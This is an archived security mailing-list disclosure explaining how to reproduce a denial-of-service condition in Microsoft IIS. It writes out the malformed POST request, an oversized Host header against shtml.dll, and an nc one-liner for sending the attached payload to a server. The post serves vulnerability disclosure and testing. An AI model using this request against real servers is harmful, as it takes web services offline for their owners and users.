full-disclosure - How to reproduce the IIS Host Header DOS

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <OF87A88EA5.E51BC24D-ON85256C4F.007EFE68@hq.rapid7.com>
From: Joe_Testa at rapid7.com (Joe Testa)
Subject: How to reproduce the IIS Host Header DOS

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1



- From the screenshots and descriptions given in
<http://online.securityfocus.com/bid/5907>, it's not clear *exactly* how to
reproduce the IIS Host header DoS.

A POST request like the following (between the [begin] and [end] lines)
will
manually reproduce the IIS DoS condition:


- -------------------------[begin]--------------------------------------
POST /_vti_bin/shtml.dll HTTP/1.0
Host: [32762 '/' characters]
Content-length:      22


http://www.rapid7.com/
- --------------------------[end]---------------------------------------


This will cause the web service to consume 99% of the CPU for about 35
seconds.  During this time, no other HTTP requests will be serviced.
Attached
to this email is the complete string to facilitate testing.  Use it with:

$ nc x.x.x.x 80 < iis_dos


   - Joe Testa, Rapid 7, Inc.
   http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x02B00839
   A145 B158 2CA7 00A2 BAE8  4A18 57E5 18E0 02B0 0839

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (Cygwin32)

iD8DBQE9p1w3V+UY4AKwCDkRAjHQAJ0Vx5c1rJvDY5+n2595Wq6NQbqwOACeNBBO
GcA6qrjAE1Tj+Jqx3kE9U4Q=
=RkVz
-----END PGP SIGNATURE-----

(See attached file: iis_dos)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: iis_dos
Type: application/octet-stream
Size: 32851 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20021011/62d186a9/iis_dos.obj